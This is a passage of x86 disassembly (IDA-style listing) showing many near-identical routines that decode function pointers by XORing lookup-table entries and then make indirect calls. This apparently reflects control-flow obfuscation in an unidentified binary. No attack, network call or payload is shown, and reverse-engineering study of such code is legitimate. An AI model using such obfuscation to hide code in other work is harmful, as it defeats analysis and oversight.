sub_4AA1E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AA2E2 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED9FCo var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 84h mov [ebp+var_2C], 72h mov [ebp+var_28], 0FAh mov [ebp+var_24], 0B6h mov [ebp+var_20], 42h mov [ebp+var_1C], 47h mov [ebp+var_18], 0E7h mov [ebp+var_14], 57h mov [ebp+var_10], 0Ch mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Ch and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AA373 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AA373: ; CODE XREF: sub_4AA2E2+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AA2E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AA3DF proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA00o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0F2h mov [ebp+var_2C], 0ACh mov [ebp+var_28], 24h mov [ebp+var_24], 0BCh mov [ebp+var_20], 0EAh mov [ebp+var_1C], 51h mov [ebp+var_18], 61h mov [ebp+var_14], 0ECh mov [ebp+var_10], 3 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 3 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AA470 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AA470: ; CODE XREF: sub_4AA3DF+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AA3DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AA4DC proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA04o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 51h mov [ebp+var_2C], 0AAh mov [ebp+var_28], 0DFh mov [ebp+var_24], 91h mov [ebp+var_20], 2Ch mov [ebp+var_1C], 0C9h mov [ebp+var_18], 0C1h mov [ebp+var_14], 0BCh mov [ebp+var_10], 0Fh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Fh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AA56D mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AA56D: ; CODE XREF: sub_4AA4DC+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AA4DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AA5D9 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA08o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0B3h mov [ebp+var_2C], 4 mov [ebp+var_28], 8Dh mov [ebp+var_24], 22h mov [ebp+var_20], 0F8h mov [ebp+var_1C], 5Bh mov [ebp+var_18], 2 mov [ebp+var_14], 90h mov [ebp+var_10], 0Ch mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Ch and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AA66A mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AA66A: ; CODE XREF: sub_4AA5D9+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AA5D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AA6D6 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA0Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0DEh mov [ebp+var_2C], 0B5h mov [ebp+var_28], 42h mov [ebp+var_24], 86h mov [ebp+var_20], 39h mov [ebp+var_1C], 95h mov [ebp+var_18], 10h mov [ebp+var_14], 89h mov [ebp+var_10], 9 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 9 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AA767 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AA767: ; CODE XREF: sub_4AA6D6+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AA6D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AA7D3 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA10o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 45h mov [ebp+var_2C], 0C0h mov [ebp+var_28], 12h mov [ebp+var_24], 18h mov [ebp+var_20], 12h mov [ebp+var_1C], 6Dh mov [ebp+var_18], 4Dh mov [ebp+var_14], 11h mov [ebp+var_10], 12h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 12h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AA864 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AA864: ; CODE XREF: sub_4AA7D3+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AA7D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AA8D0 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA14o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0FAh mov [ebp+var_2C], 65h mov [ebp+var_28], 0B9h mov [ebp+var_24], 5 mov [ebp+var_20], 0CDh mov [ebp+var_1C], 0BBh mov [ebp+var_18], 0BFh mov [ebp+var_14], 96h mov [ebp+var_10], 7 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 7 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AA961 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AA961: ; CODE XREF: sub_4AA8D0+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AA8D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AA9CD proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA18o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 74h mov [ebp+var_2C], 0C4h mov [ebp+var_28], 42h mov [ebp+var_24], 2 mov [ebp+var_20], 0A6h mov [ebp+var_1C], 17h mov [ebp+var_18], 2Dh mov [ebp+var_14], 24h mov [ebp+var_10], 0Eh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Eh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AAA5E mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AAA5E: ; CODE XREF: sub_4AA9CD+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AA9CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AAACA proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA1Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 8Dh mov [ebp+var_2C], 6Fh mov [ebp+var_28], 90h mov [ebp+var_24], 60h mov [ebp+var_20], 0BEh mov [ebp+var_1C], 39h mov [ebp+var_18], 9Ah mov [ebp+var_14], 0B4h mov [ebp+var_10], 3 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 3 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AAB5B mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AAB5B: ; CODE XREF: sub_4AAACA+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AAACA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AABC7 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA20o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 5Dh mov [ebp+var_2C], 68h mov [ebp+var_28], 97h mov [ebp+var_24], 0C0h mov [ebp+var_20], 0EFh mov [ebp+var_1C], 0CBh mov [ebp+var_18], 0DDh mov [ebp+var_14], 78h mov [ebp+var_10], 0Ch mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Ch and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AAC58 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AAC58: ; CODE XREF: sub_4AABC7+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AABC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AACC4 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA24o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0D1h mov [ebp+var_2C], 0C4h mov [ebp+var_28], 41h mov [ebp+var_24], 0 mov [ebp+var_20], 89h mov [ebp+var_1C], 9Eh mov [ebp+var_18], 3 mov [ebp+var_14], 2Ah mov [ebp+var_10], 9 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 9 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AAD55 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AAD55: ; CODE XREF: sub_4AACC4+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AACC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AADC1 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA28o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0ECh mov [ebp+var_2C], 53h mov [ebp+var_28], 0DBh mov [ebp+var_24], 78h mov [ebp+var_20], 0BEh mov [ebp+var_1C], 7Dh mov [ebp+var_18], 58h mov [ebp+var_14], 8Bh mov [ebp+var_10], 0Fh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Fh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AAE52 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AAE52: ; CODE XREF: sub_4AADC1+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AADC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AAEBE proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA2Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0C2h mov [ebp+var_2C], 0C9h mov [ebp+var_28], 85h mov [ebp+var_24], 9Ah mov [ebp+var_20], 9Bh mov [ebp+var_1C], 0E2h mov [ebp+var_18], 51h mov [ebp+var_14], 6Fh mov [ebp+var_10], 0Bh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Bh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AAF4F mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AAF4F: ; CODE XREF: sub_4AAEBE+7Ej mov 